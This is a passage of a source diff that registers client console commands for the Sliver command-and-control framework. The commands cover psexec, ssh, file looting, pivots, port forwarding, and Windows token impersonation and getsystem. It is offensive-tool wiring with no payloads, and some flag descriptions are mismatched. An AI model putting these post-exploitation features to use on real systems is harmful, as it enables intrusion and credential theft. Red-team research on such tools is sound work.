"Sliver", "name that will be used to register the service") + f.StringP("service-description", "d", "Sliver implant", "description of the service") + f.StringP("profile", "p", "", "profile to use for service binary") + f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded") + f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.BindFlagCompletions(psExecCmd, func(comp *carapace.ActionMap) { + (*comp)["custom-exe"] = carapace.ActionFiles() + }) + carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)")) + + sshCmd := &cobra.Command{ + Use: consts.SSHStr, + Short: "Run a SSH command on a remote host", + Long: help.GetHelpFor([]string{consts.SSHStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SSHCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, sshCmd, func(f *pflag.FlagSet) { + f.UintP("port", "p", 22, "SSH port") + f.StringP("private-key", "i", "", "path to private key file") + f.StringP("password", "P", "", "SSH user password") + f.StringP("login", "l", "", "username to use to connect") + f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials") + f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file") + f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file") + f.StringP("kerberos-realm", "r", "", "Kerberos realm") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + flags.BindFlagCompletions(sshCmd, func(comp *carapace.ActionMap) { + (*comp)["private-key"] = carapace.ActionFiles() + (*comp)["kerberos-keytab"] = carapace.ActionFiles() + }) + + carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)")) + carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments")) + + return []*cobra.Command{executeCmd, executeAssemblyCmd, executeShellcodeCmd, sideloadCmd, spawnDllCmd, migrateCmd, msfCmd, msfInjectCmd, psExecCmd, sshCmd} +} diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go new file mode 100644 index 0000000000..7ee046d4c4 --- /dev/null +++ b/client/command/extensions/commands.go @@ -0,0 +1,69 @@ +package extensions + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + extensionCmd := &cobra.Command{ + Use: consts.ExtensionsStr, + Short: "Manage extensions", + Long: help.GetHelpFor([]string{consts.ExtensionsStr}), + GroupID: consts.ExtensionHelpGroup, + Run: func(cmd *cobra.Command, _ []string) { + ExtensionsCmd(cmd, con) + }, + } + + extensionCmd.AddCommand(&cobra.Command{ + Use: consts.ListStr, + Short: "List extensions loaded in the current session or beacon", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsListCmd(cmd, con, args) + }, + }) + + extensionLoadCmd := &cobra.Command{ + Use: consts.LoadStr, + Short: "Temporarily load an extension from a local directory", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}), + Run: func(cmd *cobra.Command, args []string) { + ExtensionLoadCmd(cmd, con, args) + }, + } + extensionCmd.AddCommand(extensionLoadCmd) + carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory")) + + extensionInstallCmd := &cobra.Command{ + Use: consts.InstallStr, + Short: "Install an extension from a local directory or .tar.gz file", + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsInstallCmd(cmd, con, args) + }, + } + extensionCmd.AddCommand(extensionInstallCmd) + carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory")) + + extensionRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove an installed extension", + Args: cobra.ExactArgs(1), + Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + ExtensionsRemoveCmd(cmd, con, args) + }, + } + extensionCmd.AddCommand(extensionRmCmd) + carapace.Gen(extensionRmCmd).PositionalCompletion(ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) + + return []*cobra.Command{extensionCmd} +} diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go new file mode 100644 index 0000000000..425527704a --- /dev/null +++ b/client/command/filesystem/commands.go @@ -0,0 +1,212 @@ +package filesystem + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + mvCmd := &cobra.Command{ + Use: consts.MvStr, + Short: "Move or rename a file", + Long: help.GetHelpFor([]string{consts.MvStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + MvCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, mvCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(mvCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to source file (required)"), + carapace.ActionValues().Usage("path to dest file (required)"), + ) + + lsCmd := &cobra.Command{ + Use: consts.LsStr, + Short: "List current directory", + Long: help.GetHelpFor([]string{consts.LsStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + LsCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, lsCmd, func(f *pflag.FlagSet) { + f.BoolP("reverse", "r", false, "reverse sort order") + f.BoolP("modified", "m", false, "sort by modified time") + f.BoolP("size", "s", false, "sort by size") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(lsCmd).PositionalCompletion(carapace.ActionValues().Usage("path to enumerate (optional)")) + + rmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a file or directory", + Long: help.GetHelpFor([]string{consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RmCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, rmCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively remove files") + f.BoolP("force", "F", false, "ignore safety and forcefully remove files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(rmCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to remove")) + + mkdirCmd := &cobra.Command{ + Use: consts.MkdirStr, + Short: "Make a directory", + Long: help.GetHelpFor([]string{consts.MkdirStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MkdirCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, mkdirCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(mkdirCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory to create")) + + cdCmd := &cobra.Command{ + Use: consts.CdStr, + Short: "Change directory", + Long: help.GetHelpFor([]string{consts.CdStr}), + Args: cobra.RangeArgs(0, 1), + Run: func(cmd *cobra.Command, args []string) { + CdCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, cdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(cdCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory")) + + pwdCmd := &cobra.Command{ + Use: consts.PwdStr, + Short: "Print working directory", + Long: help.GetHelpFor([]string{consts.PwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PwdCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, pwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + catCmd := &cobra.Command{ + Use: consts.CatStr, + Short: "Dump file to stdout", + Long: help.GetHelpFor([]string{consts.CatStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + CatCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, catCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("hex", "x", false, "display as a hex dump") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(catCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) + + downloadCmd := &cobra.Command{ + Use: consts.DownloadStr, + Short: "Download a file", + Long: help.GetHelpFor([]string{consts.DownloadStr}), + Args: cobra.RangeArgs(1, 2), + Run: func(cmd *cobra.Command, args []string) { + DownloadCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, downloadCmd, func(f *pflag.FlagSet) { + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting") + f.StringP("name", "n", "", "name to assign the download if looting") + f.BoolP("recurse", "r", false, "recursively download all files in a directory") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(downloadCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to the file or directory to download"), + carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), + ) + + uploadCmd := &cobra.Command{ + Use: consts.UploadStr, + Short: "Upload a file", + Long: help.GetHelpFor([]string{consts.UploadStr}), + Args: cobra.RangeArgs(1, 2), + Run: func(cmd *cobra.Command, args []string) { + UploadCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) { + f.BoolP("ioc", "i", false, "track uploaded file as an ioc") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(uploadCmd).PositionalCompletion( + carapace.ActionFiles().Usage("local path to the file to upload"), + carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"), + ) + + memfilesCmd := &cobra.Command{ + Use: consts.MemfilesStr, + Short: "List current memfiles", + Long: help.GetHelpFor([]string{consts.MemfilesStr}), + GroupID: consts.FilesystemHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + MemfilesListCmd(cmd, con, args) + }, + } + flags.Bind("", true, memfilesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + memfilesAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add a memfile", + Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}), + Run: func(cmd *cobra.Command, args []string) { + MemfilesAddCmd(cmd, con, args) + }, + } + memfilesCmd.AddCommand(memfilesAddCmd) + + memfilesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a memfile", + Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MemfilesRmCmd(cmd, con, args) + }, + } + memfilesCmd.AddCommand(memfilesRmCmd) + + carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor")) + + return []*cobra.Command{mvCmd, lsCmd, rmCmd, mkdirCmd, pwdCmd, catCmd, cdCmd, downloadCmd, uploadCmd, memfilesCmd} +} diff --git a/client/command/help/commands.go b/client/command/help/commands.go new file mode 100644 index 0000000000..3799c739aa --- /dev/null +++ b/client/command/help/commands.go @@ -0,0 +1,17 @@ +package help + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + return nil +} diff --git a/client/command/info/commands.go b/client/command/info/commands.go index 90472999d3..64582c6877 100644 --- a/client/command/info/commands.go +++ b/client/command/info/commands.go @@ -30,3 +30,73 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { return []*cobra.Command{infoCmd} } + +// SliverCommands returns all info commands working on an active target. +func SliverCommands(con *console.SliverConsoleClient) []*cobra.Command { + pingCmd := &cobra.Command{ + Use: consts.PingStr, + Short: "Send round trip message to implant (does not use ICMP)", + Long: help.GetHelpFor([]string{consts.PingStr}), + Run: func(cmd *cobra.Command, args []string) { + PingCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, pingCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getPIDCmd := &cobra.Command{ + Use: consts.GetPIDStr, + Short: "Get session pid", + Long: help.GetHelpFor([]string{consts.GetPIDStr}), + Run: func(cmd *cobra.Command, args []string) { + PIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getPIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getUIDCmd := &cobra.Command{ + Use: consts.GetUIDStr, + Short: "Get session process UID", + Long: help.GetHelpFor([]string{consts.GetUIDStr}), + Run: func(cmd *cobra.Command, args []string) { + UIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getUIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + getGIDCmd := &cobra.Command{ + Use: consts.GetGIDStr, + Short: "Get session process GID", + Long: help.GetHelpFor([]string{consts.GetGIDStr}), + Run: func(cmd *cobra.Command, args []string) { + GIDCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, getGIDCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + whoamiCmd := &cobra.Command{ + Use: consts.WhoamiStr, + Short: "Get session user execution context", + Long: help.GetHelpFor([]string{consts.WhoamiStr}), + Run: func(cmd *cobra.Command, args []string) { + WhoamiCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, whoamiCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{pingCmd, getPIDCmd, getUIDCmd, getGIDCmd, whoamiCmd} +} diff --git a/client/command/kill/commands.go b/client/command/kill/commands.go new file mode 100644 index 0000000000..e9b0bdac15 --- /dev/null +++ b/client/command/kill/commands.go @@ -0,0 +1,30 @@ +package kill + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + killCmd := &cobra.Command{ + Use: consts.KillStr, + Short: "Kill a session", + Long: help.GetHelpFor([]string{consts.KillStr}), + Run: func(cmd *cobra.Command, args []string) { + KillCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("use", false, killCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "Force kill, does not clean up") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{killCmd} +} diff --git a/client/command/network/commands.go b/client/command/network/commands.go new file mode 100644 index 0000000000..31fd801e9f --- /dev/null +++ b/client/command/network/commands.go @@ -0,0 +1,49 @@ +package network + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + ifconfigCmd := &cobra.Command{ + Use: consts.IfconfigStr, + Short: "View network interface configurations", + Long: help.GetHelpFor([]string{consts.IfconfigStr}), + Run: func(cmd *cobra.Command, args []string) { + IfconfigCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", false, ifconfigCmd, func(f *pflag.FlagSet) { + f.BoolP("all", "A", false, "show all network adapters (default only shows IPv4)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + netstatCmd := &cobra.Command{ + Use: consts.NetstatStr, + Short: "Print network connection information", + Long: help.GetHelpFor([]string{consts.NetstatStr}), + Run: func(cmd *cobra.Command, args []string) { + NetstatCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", false, netstatCmd, func(f *pflag.FlagSet) { + f.BoolP("tcp", "T", true, "display information about TCP sockets") + f.BoolP("udp", "u", false, "display information about UDP sockets") + f.BoolP("ip4", "4", true, "display information about IPv4 sockets") + f.BoolP("ip6", "6", false, "display information about IPv6 sockets") + f.BoolP("listen", "l", false, "display information about listening sockets") + f.BoolP("numeric", "n", false, "display numeric addresses (disable hostname resolution)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{ifconfigCmd, netstatCmd} +} diff --git a/client/command/pivots/commands.go b/client/command/pivots/commands.go new file mode 100644 index 0000000000..9a3362da71 --- /dev/null +++ b/client/command/pivots/commands.go @@ -0,0 +1,101 @@ +package pivots + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + pivotsCmd := &cobra.Command{ + Use: consts.PivotsStr, + Short: "List pivots for active session", + Long: help.GetHelpFor([]string{consts.PivotsStr}), + Run: func(cmd *cobra.Command, args []string) { + PivotsCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("", true, pivotsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + namedPipeCmd := &cobra.Command{ + Use: consts.NamedPipeStr, + Short: "Start a named pipe pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), + Run: func(cmd *cobra.Command, args []string) { + StartNamedPipeListenerCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(namedPipeCmd) + flags.Bind("", false, namedPipeCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") + f.BoolP("allow-all", "a", false, "allow all users to connect") + }) + + tcpListenerCmd := &cobra.Command{ + Use: consts.TCPListenerStr, + Short: "Start a TCP pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), + Run: func(cmd *cobra.Command, args []string) { + StartTCPListenerCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(tcpListenerCmd) + flags.Bind("", false, tcpListenerCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "remote interface to bind pivot listener") + f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") + }) + + pivotStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), + Run: func(cmd *cobra.Command, args []string) { + StopPivotListenerCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(pivotStopCmd) + flags.Bind("", false, pivotStopCmd, func(f *pflag.FlagSet) { + f.Uint32P("id", "i", 0, "id of the pivot listener to stop") + }) + flags.BindFlagCompletions(pivotStopCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = PivotIDCompleter(con) + }) + + pivotDetailsCmd := &cobra.Command{ + Use: consts.DetailsStr, + Short: "Get details of a pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), + Run: func(cmd *cobra.Command, args []string) { + PivotDetailsCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(pivotDetailsCmd) + flags.Bind("", false, pivotDetailsCmd, func(f *pflag.FlagSet) { + f.IntP("id", "i", 0, "id of the pivot listener to get details for") + }) + flags.BindFlagCompletions(pivotDetailsCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = PivotIDCompleter(con) + }) + + graphCmd := &cobra.Command{ + Use: consts.GraphStr, + Short: "Get pivot listeners graph", + Long: help.GetHelpFor([]string{consts.PivotsStr, "graph"}), + Run: func(cmd *cobra.Command, args []string) { + PivotsGraphCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(graphCmd) + + return []*cobra.Command{pivotsCmd} +} diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go new file mode 100644 index 0000000000..003c247443 --- /dev/null +++ b/client/command/portfwd/commands.go @@ -0,0 +1,64 @@ +package portfwd + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + portfwdCmd := &cobra.Command{ + Use: consts.PortfwdStr, + Short: "In-band TCP port forwarding", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PortfwdCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", true, portfwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + addCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Create a new port forwarding tunnel", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PortfwdAddCmd(cmd, con, args) + }, + } + portfwdCmd.AddCommand(addCmd) + flags.Bind("", false, addCmd, func(f *pflag.FlagSet) { + f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") + f.StringP("bind", "b", "127.0.0.1:8080", "bind port forward to interface") + }) + flags.BindFlagCompletions(addCmd, func(comp *carapace.ActionMap) { + (*comp)["bind"] = completers.ClientInterfacesCompleter() + }) + + portfwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a port forwarding tunnel", + Long: help.GetHelpFor([]string{consts.PortfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + PortfwdRmCmd(cmd, con, args) + }, + } + portfwdCmd.AddCommand(portfwdRmCmd) + flags.Bind("", false, portfwdRmCmd, func(f *pflag.FlagSet) { + f.IntP("id", "i", 0, "id of portfwd to remove") + }) + flags.BindFlagCompletions(portfwdRmCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = PortfwdIDCompleter(con) + }) + + return []*cobra.Command{portfwdCmd} +} diff --git a/client/command/privilege/commands.go b/client/command/privilege/commands.go new file mode 100644 index 0000000000..995fec1bc8 --- /dev/null +++ b/client/command/privilege/commands.go @@ -0,0 +1,175 @@ +package privilege + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/filesystem" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverConsoleClient) []*cobra.Command { + runAsCmd := &cobra.Command{ + Use: consts.RunAsStr, + Short: "Run a new process in the context of the designated user (Windows Only)", + Long: help.GetHelpFor([]string{consts.RunAsStr}), + Run: func(cmd *cobra.Command, args []string) { + RunAsCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, runAsCmd, func(f *pflag.FlagSet) { + f.StringP("username", "u", "", "user to impersonate") + f.StringP("process", "p", "", "process to start") + f.StringP("args", "a", "", "arguments for the process") + f.StringP("domain", "d", "", "domain of the user") + f.StringP("password", "P", "", "password of the user") + f.BoolP("show-window", "s", false, ` + Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`) + f.BoolP("net-only", "n", false, "use ") + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + + impersonateCmd := &cobra.Command{ + Use: consts.ImpersonateStr, + Short: "Impersonate a logged in user.", + Long: help.GetHelpFor([]string{consts.ImpersonateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ImpersonateCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, impersonateCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + carapace.Gen(impersonateCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the user account to impersonate")) + + revToSelfCmd := &cobra.Command{ + Use: consts.RevToSelfStr, + Short: "Revert to self: lose stolen Windows token", + Long: help.GetHelpFor([]string{consts.RevToSelfStr}), + Run: func(cmd *cobra.Command, args []string) { + RevToSelfCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, revToSelfCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + + getSystemCmd := &cobra.Command{ + Use: consts.GetSystemStr, + Short: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", + Long: help.GetHelpFor([]string{consts.GetSystemStr}), + Run: func(cmd *cobra.Command, args []string) { + GetSystemCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, getSystemCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", "spoolsv.exe", "SYSTEM process to inject into") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + makeTokenCmd := &cobra.Command{ + Use: consts.MakeTokenStr, + Short: "Create a new Logon Session with the specified credentials", + Long: help.GetHelpFor([]string{consts.MakeTokenStr}), + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + MakeTokenCmd(cmd, con, args) + }, + } + flags.Bind("", false, makeTokenCmd, func(f *pflag.FlagSet) { + f.StringP("username", "u", "", "username of the user to impersonate") + f.StringP("password", "p", "", "password of the user to impersonate") + f.StringP("domain", "d", "", "domain of the user to impersonate") + f.StringP("logon-type", "T", "LOGON_NEW_CREDENTIALS", "logon type to use") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + chmodCmd := &cobra.Command{ + Use: consts.ChmodStr, + Short: "Change permissions on a file or directory", + Long: help.GetHelpFor([]string{consts.ChmodStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChmodCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chmodCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively change permissions on files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chmodCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change mod perms"), + carapace.ActionValues().Usage("file permissions in octal (eg. 0644)"), + ) + + chownCmd := &cobra.Command{ + Use: consts.ChownStr, + Short: "Change owner on a file or directory", + Long: help.GetHelpFor([]string{consts.ChownStr}), + Args: cobra.ExactArgs(3), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChownCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chownCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively change permissions on files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chownCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change owner for"), + 